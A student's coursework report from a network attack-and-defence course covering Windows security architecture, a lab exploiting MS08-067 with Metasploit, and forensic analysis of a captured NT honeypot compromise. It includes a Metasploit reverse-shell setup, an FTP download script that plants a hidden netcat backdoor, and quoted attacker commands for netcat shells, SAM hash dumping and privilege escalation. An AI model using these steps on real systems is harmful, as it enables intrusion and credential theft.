20199102 2019-2020-2 《网络攻防实践》第七周作业
20199102 2019-2020-2 《网络攻防实践》第七周作业
0.总体结构
本次作业属于那个课程 | 《网络攻防实践》 |
---|---|
这个作业要求在哪里 | 第七次作业 Windows操作系统安全攻防 |
我在这个课程的目标是 | 学习网络攻防相关技术、掌握网络攻防相关能力 |
这个作业在哪个具体方面帮助我实现目标 | 学习windows下的相关系统安全攻防技术 |
作业正文 | 下述正文,1,2,3部分 |
其他参考文献 | 见正文最后部分 |
1.实践内容
1.1 Windows操作系统基本框架概述
-
本节介绍windows的设计目标和包装方式,如下图windows总体结构中的关键系统组件。
-
windows内核组件包含:
组件 说明 windows执行体 包含基本的操作系统服务,如内存管理,进程和线程管理,安全性,I/O,网络,跨进程通信。 windows内核 是由一组底层的操作系统功能构成,如线程调度,终端和异常处理分发。以及处理器同步。提供了一组例程和基础对象。执行体的其他部分利用这些例程和对象实现更高层次的功能。 设备驱动程序 硬件设备驱动程序,也包含文件系统和网络驱动程序。其中硬件设备驱动程序将用户的I/O函数调用转化为特定的硬件设备请求。 硬件抽象层 指一层特殊代码,它把内核,设备驱动程序和windows执行体其他部分跟与平台相关的硬件差异隔离开来。 窗口和图形系统 实现了图形用户界面函数。 -
有4中用户模式进程:
用户模式进程 说明 固定的系统支持进程 如登陆进程,会话管理器进程 服务进程 宿纳了windows服务,如进程管理器和假脱机服务 用户应用程序 有6个类型:windows32位,windows64位,windows3.1 16位,ms-dos 16位,posix32位或者OS/2 32位。 环境子系统服务进程 实现了操作系统环境的部分支持。这里的环境是指操作系统展示给用户或者程序员的个性化部分。
-
-
windows进程和线程管理机制
-
进程可以看作是windows子系统的执行对象,对于windows我们有如下的结构
-
对象头和对象体
属性 用途 对象名称 使一个对象对于其他的进程也是可见的,以便于共享 对象目录 提供了一个层次结构来存储对象名称 安全描述符 决定谁可以使用该对象,以及允许它们如何使用它(注:对于没有名称的对象来说,安全描述符是空[null]) 配额花费 列出了当一个进程打开一个指向该对象的句柄时,针对该进程收取的资源花费额 已打开句柄的计数 记录了“打开一个句柄来指向该对象”的次数 已打开句柄的列表 指向一个进程列表,其中每个进程都打开了指向该对象的句柄。 对象类型 指向一个类型对象,该对象包含了正对这个类型的对象都是公共属性 引用计数 记录了一个内核模式组件引用该对象地址的次数
-
-
windows 文件管理机制
- windows下使用NTFS文件结构
- windows 使用PE格式的可执行文件,主要分为
Dos头
、PE头
、分段表
、以及具体的代码段
和数据段
等格式。
-
windows注册表管理机制
-
注册表被称为Windows操作系统的核心,它的工作原理实质是一个庞大的数据库,存放了关于计算机硬件的配置信息、系统和应用软件的初始化信息、应用软件和文档文件的关联关系、硬件设备的说明以及各种状态信息和数据,包括Windows操作时不断引用的信息。
-
注册表有五个一级分支,下面是这五个分支的名称及作用:
名称 作用 HKEY_CLASSES_ROOT 存储Windows可识别的文件类型的详细列表,以及相关联的程序。 HKEY_CURRENT_USER 存储当前用户设置的信息。 HKEY_LOCAL_MACHINE 包括安装在计算机上的硬件和软件的信息。 HKEY_USERS 包含使用计算机的用户的信息。 HKEY_CURRENT_CONFIG 这个分支包含计算机当前的硬件配置信息。
-
-
windows网络机制
-
windows下网络组件整体结构图
-
windows下不同层次网络组件的功能
不同网络层组件 介绍 网卡硬件设备驱动程序 物理层,厂商提供 NDIS库及mimiport驱动 数据链路层,使得协议驱动程序可以以一种与设备无关的方式来跟网络适配器驱动程序进行通信 TDI 传输层,将网络请求格式化成IRP,以及申请网络地址和数据通信 网络API DLL及TDI客户端 会话层和表示层,独立于具体协议提供网络交互和实现方式 网络应用服务程序与服务进程 应用层,各种网络API DLL,来实现网络交互和通信功能。
-
1.2 Windows操作系统的安全体系结构与机制
-
windows安全体系结构
-
windows的安全体系结构基于引用监控器这一经典的安全模型。
-
其最核心的是位于内核的
SRM安全引用监视器
,以及位于用户态的LSASS安全服务
,并与winlogin
、eventlog
等相关服务一起实现身份认证机制
-
-
windows身份认证机制与授权、访问控制机制
-
windows下的身份通过一个唯一的SID安全符进行标识
-
windows为每个用户和计算机设置账户进行管理,并引入用户组来简化用户管理
-
windows的用户账户的口令通过加密处理之后被保存于SAM或者活动目录AD中。
-
winlogon
、GINA
、LSASS
服务通过协作来完成本地身份认证的过程。 -
在程序进程控制块中包含一个安全访问令牌,继承了启动进程的账户的所有访问令牌。
-
windows下所有需要保护的内容都被抽象成对象,每个对象会关联一个
SD安全描述符
。主要由如下属性组成属性 描述 Owner SID 对象所有者的SID Group SID 对象所在组的SID DACL自主访问控制列表 指明了那些安全主题可以以何种方式访问该对象 SACL系统审计访问控制列表 指明了那些主体发起的那些访问需要被审计
-
-
windows安全审计机制和其他安全机制
- LSAS服务将保存审计策略,在对象安全描述符中的SACL列表中进行保存
- 再次之外,安全中心还具有防火墙、补丁自动更新、病毒防护机制。
- 安全中心之外还有,IPSec加密与验证机制、EFS加密文件系统、windows文件保护机制等。
1.3Windows远程安全攻防技术
-
windows远程安全攻防的分类
- 远程口令猜测与破解攻击
- 攻击windows网络服务
- 攻击windows客户端及用户
-
Metasploit基础教程
-
首先是Metasploit的整体架构
-
Metasploit的相关模块、介绍
模块 介绍 Exploits 漏洞模块,使用“有效载荷(payloads)”的模块 Payloads 有效载荷,由远程运行的代码组成 Encoders 编码器,确保“有效载荷”到达目的地 Nops 空指令模块,保持“有效载荷”大小一致 -
Metasploit常用命令介绍
命令 介绍 show exploit 列出metasploit框架中的所有渗透攻击模块。 show payloads 列出metasploit框架中的所有攻击载荷。 show auxiliary 列出metasploit框架中的所有辅助攻击模块。 search name 查找metasploit框架中的所有渗透攻击和其他模块。 info 展示出制定渗透攻击或模块的相关信息。 use name 装载一个渗透攻击或者模块。 LHOST 目标主机链接的IP地址。 RHOST 远程主机或者目标主机。 set function 设置特定的配置参数。 run scriptname 运行meterpreter脚本,在scripts/meterpreter目录下可查看到所有脚本名。 use priv 加载特权提升扩展模块,来扩展meterpreter库。 use incognito 加载inconito功能(用来盗取目标主机的令牌或是假冒用户) getsystem 通过各种攻击向量来提升到系统用户权限。 shell 以所有可用令牌来运行一个交互的shell。
-
-
windows远程攻击方法的防御措施
- 口令猜测和破解:关闭不需要的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM
- 远程渗透攻击防范措施:从软件设计上尽量减少渗透攻击、尽可能快的更新安全补丁、为零日漏洞配置缓解攻击配置、利用安全清单插件来固化网络、通过漏洞扫描软件来标识存在的漏洞。
1.4 Windows本地安全攻防技术
- windows本地特权提升
- 本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
- 防范措施:及时打补丁、及时跟进厂家的安全警告
- windows敏感信息窃取
- 包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
- 防范措施:使用安全度高、能抵挡破解的口令
- windows消灭踪迹
- 主要手段包括、关闭审计功能、清理事件日志。
- 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
- 远程控制与后门
- 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
- 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2.实践过程
机器名称 | ip地址 |
---|---|
windows2KServer | 192.168.200.129 |
kali(攻击) | 192.168.200.128 |
seed | 192.168.200.130 |
Ubuntu18.04(ftp) | 192.168.200.9 |
2.1 实验一:动手实践Metasploit windows attacker
-
任务:使用metasploit软件进行windows远程渗透统计实验
-
具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
-
首先在这里我们使用ms03_026作为我们攻击的目标漏洞,通过
use exploit/windows/dcerpc/ms08_067_netapi
使用相关攻击脚本 -
接下来设置攻击的载荷,载荷的相关含义我们在上文提到过。通过命令
set PAYLOAD generic/shell_everse_tcp
设置打开反向连接的载荷 -
设置攻击目标,通过命令
set RHOST 192.168.200.131
-
设置攻击地址,通过命令
set LHOST 192.168.200.128
-
接下来通过
exploit
发起攻击
-
得到
meterpreter
返回之后表示攻击成功,我们运行shell指令,开启靶机的shell。 -
接下来我们验证攻击是否成功,键入
net session
此时主机没有提示权限不足,证明具有较高权限
-
键入
mkdir success
、dir
可以看到在C盘根目录创建文件成功
-
接下来我们需要做到
下载后门程序
、添加注册列表
和隐藏后门程序
-
这里我们需要用到三个文件,
nc.exe
、AddReg.bat
和root.exe
。其中root做到隐藏文件、进程、注册表项,AddReg添加注册表项目是我们的后门开机自启动,nc就是我们的后门文件 -
在这里我们需要搭建一个ftp服务器用于存放上述三个文件,接下来要用到。我是在我的Ubuntu中搭建的ftp服务器将上述三个文件放在ftp的根目录中。
-
为了能让上述三个文件进入靶机中,我们需要在靶机中写入一个脚本文件
download.txt
并执行。echo user >> download.txt echo moyizui >> download.txt #账号 echo moyi******* >> download.txt #密码 echo get nc.exe nc.exe >> download.txt echo get AddReg.bat AddReg.bat >> download.txt echo get root.exe root.exe >> download.txt echo quit >> download.txt ftp -n -s:command.txt 192.168.200.9
-
接下来我们执行AddReg.bat,将后门
nc.exe
加入注册列表,执行root.exe /i
隐藏上述文件、注册列表和进程。 -
重启靶机,在攻击机上执行
nc 192.168.200.131 500
来测试后门的打开情况。 -
至此实践一完全完成。
2.2 取证分析实践:解码一次成功的NT系统破解攻击。
- 来自
213.116.251.162
的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106
,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
-
下述是我看到这道题之后的思考过程,答案是完整的但是可能比较凌乱。这里着重描述我看到这道题之后的思路,答案可以看老师提供的说明。
-
首先分析的第一步是看懂题目,什么是
rfp
,百度了一下没找到,google一下还没找到。行吧,题目都没看懂继续做。 -
首先我们用wireshark打开二进制的log文件,所幸能打开。接下来我们看到了6000多个数据包,我也不知道该咋分析,但是看到前端都是tcp和HTTP协议,大致能猜到是通过http攻击的吧。找到一个访问的会话,选择
跟踪HTTP流
,我们可以看到如下的截图 -
首先我们看到了
.dll
windows的动态运行时链接库,因为是运行时动态连接,导致一直是各种问题的重灾区。接下来就是像是sql语句的东西。接下来大致就有了思路,攻击者使用msadcs.dll
的与sql有关的漏洞。 -
接下来就是去google:
msadcs.dll sql
,这里出现了一个投机取巧的路径,我找到了这样一本书叫做<CEH v10 Certified Ethical Hacker Actual Practice Exams & dumps: 400+ Actual ...>
,里面有这样一道题,一时间我都不知道这两本书是谁抄的谁。 -
从这里我们就可以开挂了嘛。提取几个关键词
UNICODE attack
、RDS
、SQL
、cmd1.exe
。大致我们知道了这个过程,首先攻击者通过Unicode和RDS+SQL攻击获取了权限,接下来写入脚本下载文件,基本和上一题的套路相同。 -
继续wireshark分析。继续向下,我们发现上边的那个
.dll + sql
的组合形式出现了很多次,然后紧接着跟着一堆FTP报文,截图如下。那么说明在这之前,攻击者已经完成了写入执行命令,并开始执行。 -
得到这样一个时间点之后,我们回过头去看之前的那些
msadcs.dll + sql
语句。虽然不能完全了解这个sql语句是怎么触发msadcs.dll
的漏洞,但是我们从语句的有效载荷中也能知道这个语句干了什么事情。如下图,mdb的作用在上文中提到过。 -
除此之外其实我们还见到了另一种构造的请求方式,特征关键字是
%C0%AF
,有效载荷和上文类似基本也是明文在传输,核心内容依旧是从ftp下载攻击用的文件。应该是上文的方式有问题,所以就换了一种写入的方式。 -
重复上述的分析方式,直到1331数据包的
Request:QUIT
,我们直到这个脚本终于成功的执行到了最后的退出行。按照我们上文的攻击思路,应该接下来就是创建后门,抹除痕迹了。我们上文用的后门程序是nc.exe
或者netcat.exe
,接下来我们试试。然而还是想得太简单,并没有找到这两个exe。 -
我们现在想想,攻击者向靶机渗透输入命令一共就两种方式,一种是上述的
msadcs.dll+sql
,另一种是%C0%AF
,程序运行总归是要输入命令在执行的吧,他总归是要输入的吧,这两天做作业做的心累,就这样筛吧。 -
首先我们用关键字
msadcs.dll
进行筛选。wireshark过滤关键字的命令http.request.uri contains "msadc"
和http.request.uri contains "%C0%AF"
。最终截图感觉我的思路还是对的。应该是所有的攻击指令都显示出来了。 -
接下来,即使你什么都不会,直接读命令总可以吧。使用
%C0%AF
方法的指令比较简单,通过GET获得的指令就在url中显示了;使用msadcs.dll+sql
的也不算难,就是格式比较乱,需要肉眼除乱码。 -
首先我们看到攻击者指行了
c+nc+-l+-p+6969+-e+cmd1.exe
这个指令刚才我们用过,就是开后门的指令嘛,但是为什么FTP是在1331包传输完的,但是调用包1233就到了。这里还有点问题。 -
再向后就是向名为
yay.txt
的文件内写指令,主要涉及samdump
和pdump
。SAM
这个简称上文已经讲的很明白了,这里应该就是为了获取最高权限的口令。 -
接下来应该是在对用户组进行操作,应该是想将自己的账号添加进Administrators用户组。直接获得最高权限
-
看来上一步应该是成功了,获取权限之后转而去继续获取SAM密码。这次使用的是
rdisk
,先放这里,后文介绍。 -
这里应该是成功的获取到了
SAM
的值,并写入文件har.txt
, -
接下来直接搜索
har.txt
这个文件就好了,获得了密码的hash,一定要离线破解的啊。就能找到这样一条TCP流,此外,在这个过程中还出现了大量的文件传输,应该是攻击者在从靶机下载文件。 -
这样我们再逆向倒推上去,就能看到此时攻击者连接了上文提到的
nc -p 6969
,并将har.txt
被移动到了inetpub
目录。 -
继续追踪TCP流就可以看到一行字,应该就坐实了攻击者已经直到这是一台蜜罐主机。
-
另外就是如何防止这些攻击
- 首先肯定是打补丁,漏洞一定会在官方补丁之后公开,及时打补丁就没有危害了。
- 利用安全清单插件来固化网络
- 通过漏洞扫描软件来标识存在的漏洞
- 网站根目录和系统目录进行物理隔离。
-
这时就还剩下第一问没有解决,使用何种攻击工具进行的攻击。我们就看看构架的攻击指令的内容吧,每个攻击指令的结尾都是
!ADM!ROX!YOUR!WORLD!
,去google一下。在查找相关信息的过程中,我又找了一本书Hackers Beware
这本书提到了这个案例的全部分析的方法,同样的例子,同样的log文件,这下可以抄作业了。唯一的问题就是,对钱包不太友好。
-
攻击者运用的攻击工具是
msadc2.pl
,一个perl的工具,具体使用的格式是perl msacs2.pl -h XXX站点名
-
从此往下是完全的抄资料了
- 攻击者首先探查到了系统版本为
NT5.0
接下来探测到了Unicode编码漏洞,msadcs.dll的RDS漏洞并进行了验证攻击 - 接下来攻击者写入ftp脚本,从服务器下载需要使用的攻击工具,这个过程重复了很多次。我上文感觉迷惑的地方居然是因为攻击者密码写错了。下载成功之后就
nc
创建后门 - 接下来就是提权,
sandump
和pdump
失败。 - 添加账户到管理员账户, 这里第一次添加到
Domain Admins
是失败的,这个没有注意到。第二次添加到Administrators
是成功的。 - 接下来
rdisk
获取SAM值,这里大致猜到了。 - 最后向朋友展示的过程应该是当作没什么价值的数据包被我忽视掉了。
- 接下来就是下载文件了。
- 这里提到了不少使用到的工具,
nstreams
、msadc.pl
、Netcat
、windows net指令
和rdisk指令
。有时间补充相关博客 - 这里提到了两个攻击漏洞,一个是
Unicode编码漏洞
另一个是msadcs.dll
的sql注入漏洞。老师在云班课上给的教材已经有了详细的解释,这里另写一篇博客专门分析,不扰乱这里的结构了。
- 攻击者首先探查到了系统版本为
2.3 团队对抗实践:windows系统远程渗透攻击和分析。
-
攻方使用
metaploit
选择漏洞进行攻击,获得控制权。 -
防守方使用
wireshark
监听获得的网络数据包,分析攻击过程,获取相关信息。
-
攻击的过程和上述第一问重复,这里就不再次叙述了,着重分析
wireshark
抓包的过程。 -
我们使用wireshark在一旁嗅探,得到攻击过程中的数据包
-
可以看到源地址
192.168.200.128
,靶机地址192。168.200.131
-
源端口
4444
, 目标端口1033
-
攻击发起时间,从第一个ARP请求开始
-
攻击利用漏洞,从
RemoteActivation
中可以看出是利用的RDP漏洞
3.学习中遇到的问题及解决
- 问题1:相关的资料比较少,面对一个log文件完全无从下手
- 问题1解决方案:通过google,本想找相关线索,结果直接找到了答案。
- 问题2:团队对抗事件中,
metaploit
的攻击过程并不像给定的分析文件那样清晰都是乱码 - 问题2解决方案:有待解决
4.实践总结
整体来说,基本没参考答案,自己做出了一套分析答案。虽然思考过程有些不健全,但是终究答案还是全给出来了。采用上文这种分析方法的主要原因还是对windows下的漏洞的嗅觉灵敏度不够,只能通过这样分段猜测-倒推的形式进行分析。接下来就是要加强对常见漏洞原理和攻击方式的学习,尽量能做到看到数据包就能直接分析出对应的漏洞信息。我怕不是真是个智障。